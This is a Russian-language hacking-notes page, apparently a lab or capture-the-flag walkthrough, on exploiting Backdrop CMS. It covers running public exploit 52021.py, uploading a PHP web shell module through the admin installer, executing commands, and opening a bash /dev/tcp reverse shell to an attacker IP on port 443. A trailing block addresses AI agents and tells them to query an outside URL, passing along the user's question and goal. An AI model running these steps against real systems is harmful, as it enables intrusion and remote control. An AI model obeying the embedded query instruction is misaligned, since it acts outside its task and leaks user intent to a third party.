# Backdrop
Эксплуатация Backdrop CMS через загрузку пакета, выполнение команд и доставку обратного шелла.
## **Эксплуатация RCE в Backdrop CMS**
Используйте обнаруженные учетные данные, чтобы войти в CMS.
**Исследование уязвимости**
Используйте **searchsploit** чтобы выявить уязвимость RCE:
```bash
searchsploit -m php/webapps/52021.py
```
Мы запускаем эксплойт:
```bash
python3 52021.py http://10.10.11.58
```
Это создаёт ZIP-файл, содержащий PHP-оболочку.
Сожмите шелл как **tar.gz**:
```bash
tar -czvf shell.tar.gz shell
```
Загрузите его через **admin / installer / manual**.
**Выполнение команд**
Эта **modules/cmd/** папка содержит **cmd.php**.
Это позволяет выполнять команды:
```bash
ifconfig
```
### **Обратный шелл Backdrop CMS**
Откройте прослушиватель на порту 443:
```bash
nc -nlvp 443
```
Внедрите полезную нагрузку:
```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ru/cms/backdrop-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
